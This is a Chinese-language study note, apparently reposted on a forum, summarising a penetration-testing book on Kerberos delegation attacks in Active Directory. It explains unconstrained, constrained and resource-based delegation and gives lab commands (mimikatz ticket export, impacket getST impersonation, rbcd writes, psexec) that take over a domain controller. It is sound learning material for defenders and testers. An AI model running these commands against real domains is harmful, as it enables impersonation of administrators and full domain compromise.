本文中的部分图文内容均取自《域渗透攻防指南》，本人仅对感兴趣的内容做了汇总及附注。
导航
- 0 前言
- 1 实验环境
- 2 非约束性委派
- 3 约束性委派
- 4 基于资源的委派
- 5 杂项
0、前言
委派是指将域用户的权限委派给服务账户，使得服务账户能以域用户权限访问域内的其他服务。如下图所示，域用户 xie\test 以 Kerberos 身份验证访问 Web 服务器请求下载文件，但是真正的文件在后台的文件服务器上。于是，Web 服务器的服务账户 websrv 模拟域用户 xie\test，以 Kerberos 协议继续认证到后台文件服务器。后台文件服务器将文件返回给 Web 服务器，Web 服务器再将文件返回给域用户 xie\test 这样就完成了一个委派的流程。
委派是大型网络中经常部署的应用模式，给多跳认证带来了很大的便利，与此同时也带来了很大的安全隐患。
域内委派主要有三种类型： 非约束性委派（Unconstrained Delegation，UD）、约束性委派（Constrained Delegation，CD）、基于资源的约束性委派（Resource Based Constrained Delegation，RBCD）。
接下来，就来看看这三种约束委派分别是如何进行利用的。
1、实验环境
- 域名 - skylark.com
- 主域控 - DC2012 - Windows 2012 R2 Standard - 192.168.56.50
- 备域控 - DC2013 - Windows 2012 R2 Standard - 192.168.56.51
- 域主机 - Win10 - Windows 10 专业版（22H2） - 192.168.56.14
- 域主机 - Win7 - Windows 7 旗舰版（SPK1） - 192.168.56.13
- Kali - 192.168.56.20
- 普通域用户 - admin【注：虽然名称是 admin，但为了实验已将其从域管理组中踢出，此时它已经是一个普通域用户了。】
- 域管理员用户 - admin1
2、非约束性委派
工作原理
下面分析一下上述每个步骤的含义：
- 用户通过发送一个 KRB_AS_REQ 消息，向 KDC 的 AS 进行身份验证，请求一个可转发的 TGT1。
- KDC 在 KRB_AS_REP 消息中返回了一个 可转发的 TGT1。
- 用户根据上一步获取的可转发的 TGT1 请求另一个可转发的 TGT2，这一步是通过 KRB_TGS_REQ 消息请求的。
- KDC 在 KRB_TGS_REP 消息中为用户返回 可转发的 TGT2。
- 用户使用步骤 2 中返回的 TGT1 向 KDC 请求服务 1 的 ST。
- KDC 的 TGS 服务在 KRB_TGS_REP 消息中返回给用户服务 1 的 ST。
- 用户发送 KRB_AP_REQ 消息请求服务 1，KRB_AP_REQ 消息中包含 TGT1 和服务 1 的 ST、TGT2、TGT2 的 SessionKey。【注：只要有用户访问服务 1（此时不管有没有服务 2），那么用户就会将自己的 TGT 票据和访问服务 1 的 ST 票据均通过 KRB_AP_REQ 消息发送到服务 1，服务 1 又会将其缓存在内存中。】
- 服务 1 以用户的名义向 KDC 的 TGS 发送 KRB_TGS_REQ，请求服务 2 的 ST。请求中包含用户发过来的 TGT2。
- KDC 的 TGS 服务在 KRB_TGS_REP 消息中返回服务 2 的 ST 给服务 1，以及服务 1 可以使用的 SessionKey。ST 将客户端标识为用户，而不是服务 1。
- 服务 1 以用户的名义向服务 2 发起 KRB_AP_RE 请求。
- 服务 2 响应服务 1 的 KRB_AP_RE 请求。
- 有了步骤 11 的这个响应，服务 1 就可以响应步骤 7 中用户的 KRB_AP_REQ。
- 这里的 TGT 转发委派机制没有限制服务 1 使用 TGT2 来申请哪个服务，所以服务 1 可以以用户的名义向 KDC 申请任何其他服务的 ST。
- KDC 返回步骤 13 中请求的 ST。
- 服务 1 以用户的名义来请求其他服务。
- 服务 N 将像响应用户的请求一样响应服务 1。
从网络攻击者的角度来看，如果攻击者控制了服务 1 , 则攻击者可以诱骗域管理员来访问服务 1，然后攻击者可以在服务 1 机器上获取域管理员的 TGT，从而可以用缓存的 TGT 模拟管理员访问任意服务，包括域控。
注：（1）在上述流程中，TGT1 请求的 ST 用于访问服务 1，TGT2 请求的 ST 用于访问服务 2。（2）可转发的 TGT1 和 TGT2 代表着用户可以将其通过步骤 7 的 KRB_AP_REQ 消息发送到服务 1，供服务 1 使用。（3）步骤 7 是引发被攻击的主要原因。（4）用户机器在整个流程中属于是亲力亲为型，12 个步骤有 8 个步骤需要和用户机器参与。
攻击实验
我们需要完全控制服务 1 的机器（任意域主机）取得其本地管理员或 SYSTEM 权限，然后让用户机器（拥有域管理员权限的主机，如域控）去触发访问服务 1，这样用户机器便会将自己的 TGT 票据和访问服务 1 的 ST 票据传递到服务 1 的缓存中。然后我们便可通过 mimikatz 从内存中导出用户的 TGT 票据。
本实验在 windows 2012 的域控上无法成功，似乎只能在 windows 2008 及以下的机器才能成功。【故此处仅记录操作步骤不附上实验图片】
（1）首先我们已取得了域主机 Win10 的控制权。
（2）接着在域控机器触发对 Win10 主机的访问：net use \\192.168.56.14\。
（3）然后在 Win10 主机上运行 mimikatz，并导出其内存中的票据。- .\mimikatz.exe
- privilege::debug
- sekurlsa::tickets /export
- kerberos::ptt *.kirbi
注：照我理解，在步骤 2 执行之后，不必经历步骤 3 便可直接在 Win10 主机发起对域控的访问，因为内存中已存在域管理员的票据了。
3、约束性委派
工作原理
下面分析一下上述每个步骤的含义：
- 用户向服务 1 发出请求，用户已通过身份验证，但服务 1 没有用户的授权数据，这通常是由于用户的身份验证是通过 Kerberos 以外（基于表单的 Web 认证、NTLM 认证等） 的其他方式验证的。
- 服务 1 已经通过 KDC 进行了身份验证，并获得了 TGT。它通过 S4u2Self 协议代表用户向 KDC 请求访问自身服务 1 的可转发 ST。
- KDC 返回给服务 1 访问自身服务 1 的 可转发 ST1，就像是用户使用自己的 TGT 请求的一样，该可转发的 ST1 可能包含用户的授权数据。
- 服务 1 可以使用 ST1 中的授权数据来满足用户的请求，然后响应用户。
- 用户向服务 1 发出请求，请求访问服务 2 上的资源。
- 服务 1 利用 S4u4Proxy 协议以用户的名义向 KDC 请求访问服务 2 的 ST2，该请求中带上了可转发的 ST1。
- 如果请求中存在 PAC，则 KDC 通过检查 PAC 结构的签名数据来验证 PAC。如果 PAC 有效或不存在，KDC 返回服务 2 的 可转发 ST2，并且存储在 ST2 的 cname 和 creahn 字段中的 客户端标识是用户，而不是服务 1。
- 服务 1 以用户身份使用可转发 ST2 向服务 2 发起请求。
- 服务 2 响应步骤 8 中的请求。
- 服务 1 响应步骤 5 中的请求。
从网络攻击的角度来看，如果攻击者控制了服务 1 的账户，并且服务 1 配置了到域控的 CIFS 的约束性委派，则可以利用服务 1 以任意用户权限（包括域管理员）访问域控的 CIFS，即相当于控制了域控。
（1）S4u2Self：当用户以其他方式如 NTLM 认证、基于表单的认证等与 Web 服务进行认证后，无法向 Web 服务器提供请求服务的 ST，因此服务器也无法进一步使用 S4u2Proxy 协议请求访问服务 B。
S4u2Self 协议便是解决该问题的方案，被配置为约束性委派的服务账户能够调用 S4u2Self 协议向 KDC 申请为任意用户请求访问自身的可转发 ST。
注意：虽然 S4u2Self 协议允许服务代表用户向 KDC 请求访问自身服务的 ST，但是此协议扩展不允许服务代表用户向 KDC 请求访问其他服务的 ST。
（2） S4u2Proxy：S4u2Proxy 可以用上一步获得的可转发 ST 以用户的名义请求针对其他指定服务的 ST。S4u2Proxy 使得服务 A 可以使用来自用户 test 的授权，然后以用户 test 的身份向 KDC 请求访问服务 B 的 ST。需要特别说明的是，服务使用 S4u2Proxy 协议代表用户获得针对服务自身 ST 的过程是不需要用户凭据的。
注：（1）服务 1 在整个流程中属于代理型，10 个步骤有 6 个步骤需要服务 1 参与，用户机器只是发起请求然后只管收到最终的响应结果即可。
攻击实验
我们需要拥有一个具有对服务 B 委派的域账户（即图 4-53 中服务 A 的服务账户），然后通过 impacket-getST 代表任意用户请求对服务 B 的访问票据（ST）。此时 impacket-getST 相当于是把攻击机 kali 当做了服务 A，然后再借助 S4u2Self 和 S4u2Proxy 这些协议冒充是委托模拟用户（可以是域管理员用户）向服务 B 发起的访问。【注意：S4u2Self 和 S4u2Proxy 协议都是直接与 KDC 对话来申请的服务票据。】
注：这里的委派账户可以是域用户、也可以是机器账户。
在这个例子中，假设我们已获得服务 A 的服务账户 skylark/admin:'skylark@123'。
（1）委派权限查询- impacket-findDelegation skylark.com/admin:'skylark@123' -dc-ip 192.168.56.50
或 ADExplorer.exe 查询
或域工具“AD 用户和计算机”查询
（2）模拟用户进行 ST 票据申请- impacket-getST -dc-ip 192.168.56.50 -spn cifs/dc2012.skylark.com skylark.com/admin:'skylark@123' -impersonate administrator
可以看到，我们通过委派账户 admin 成功申请到了 administrator 账户向域控访问的 ST 票据。接下来，便可以使用此票据以 administrator 的身份向域控发起访问。
（3）利用 ST 票据管控服务 B 的机器（即域控）- export KRB5CCNAME=administrator@cifs_dc2012.skylark.com@SKYLARK.COM.ccache
- impacket-psexec -k -no-pass administrator@dc2012.skylark.com -dc-ip 192.168.56.50 -target-ip 192.168.56.50
4、基于资源的委派
工作原理
下面分析一下上述每个步骤的含义：
- 服务 A 使用自己的服务账户和密码向 KDC 申请一个可转发的 TGT。
- 服务 A 利用 S4u2Self 协议代表用户申请一个访问自身的 ST。这一步区别于传统的约束性委派。在 S4u2Self 协议中提到，返回的 ST 可转发的一个条件是服务 A 配置了传统的约束性委派。KDC 会检查服务 A 的 msDS-AllowedToDelegateTo 字段，如果这个字段被赋值了，则 KDC 返回可转发的 ST。但是由于这里是基于资源的约束性委派，是在服务 B 上配置的，服务 B 的 msDS-AllowedToActOnBehalfOfOtherldentity 属性配置了服务 A 的 SID，服务 A 并没有配置 msDS-AllowedToDelegateTo 字段，因此 KDC 返回的 ST 是不可转发 的。
- 服务 A 利用 S4u2Proxy 协议以用户的身份向 KDC 请求访问服务 B 的可转发 ST（上一步获得的不可转发 ST 放在请求包的 AddtionTicket 中）。KDC 返回访问服务 B 的 可转发 ST。
- 服务 A 用上一步获得的可转发 ST 访问服务 B。
注：（1）步骤 1 的作用？（2）虽然图 4-55 和图 4-53 有一些不同，但它的工作流程其实也和图 4-52 是差不多的，区别可能仅仅只是配置委派属性的位置发生了变化（约束性委派是在服务 1 配置，由服务 1 去请求服务 2。基于资源的约束性委派在服务 2 配置，还是由服务 1 去请求服务 2。）、返回 ST1 的可转发属性发生了变化（约束性委派返回的 ST1 是可转发的，基于资源的约束性委派返回的 ST1 是不可转发的）。
攻击实验
我们需要拥有对服务 B 所在机器的机器账户修改的权限（即图 4-55 中服务 B 所在的机器），然后在其属性 msDS-AllowedToActOnBehalfOfOtherldentity 中添加一个可控制的机器账户（即服务 A 对应的服务账户），于是该账户便拥有了对服务 B 的委派权限，接着便可以通过 impacket-getST 代表任意用户请求对服务 B 的访问票据（ST）。此时 impacket-getST 相当于是把攻击机 kali 当做了服务 A，然后再借助 S4u2Self 和 S4u2Proxy 这些协议冒充是委托模拟用户（可以是域管理员用户）向服务 B 发起的访问。【注意：S4u2Self 和 S4u2Proxy 协议都是直接与 KDC 对话来申请的服务票据。】
注：委派账户只能是机器账户，不可以是域用户。
域主机机器账户属性的修改只有 域管理组的成员 或 帮助该机器加域时的那个域账户 才有权修改。因此，基于资源的委派攻击通常需要配合其他攻击进行，例如，强制认证中继攻击中的委派攻击。
在这个例子中，为了演示假设我们已获得了管理组成员 admin1 的凭证 skylark/admin1.:'skylark@123'。
（1）新建一个机器账户（即服务 A 的服务账户）- impacket-addcomputer -dc-ip 192.168.56.50 -computer-name 'bot' -computer-pass 'skylark@123' skylark.com/admin1:skylark@123
（2）在域控机器账户（即服务 B 所在机器的机器账户）的 msDS-AllowedToActOnBehalfOfOtherldentity 属性中添加该机器账户- #（1）添加委派账户
- impacket-rbcd skylark.com/admin1:'skylark@123' -dc-ip 192.168.56.50 -action write -delegate-to DC2012$ -delegate-from bot$
- #（2）查询委派账户
- impacket-rbcd skylark.com/admin1:'skylark@123' -dc-ip 192.168.56.50 -action read -delegate-to DC2012$
或 ADExplorer.exe 查询
（3）模拟用户进行 ST 票据申请- impacket-getST -dc-ip 192.168.56.50 -spn cifs/dc2012.skylark.com skylark.com/'bot$':'skylark@123' -impersonate administrator
（4）利用 ST 票据管控服务 B 的机器（即域控）- export KRB5CCNAME=administrator@cifs_dc2012.skylark.com@SKYLARK.COM.ccache
- impacket-psexec -k -no-pass administrator@dc2012.skylark.com -dc-ip 192.168.56.50 -target-ip 192.168.56.50
5、杂项
- 默认情况下，只有计算机账户的属性选项卡中会显示“委派”选项卡，而域用户账户则不会显示。而要让域用户账户也显示“委派”选项卡，则需要为其注册一个 SPN，可使用命令 setspn -A HTTP/webapp.domain.local svc_web，或重新设置某服务的服务启动账户为该域用户。
来源：程序园用户自行投稿发布，如果侵权，请联系站长删除
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！ |
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
千斤顶
照妖镜
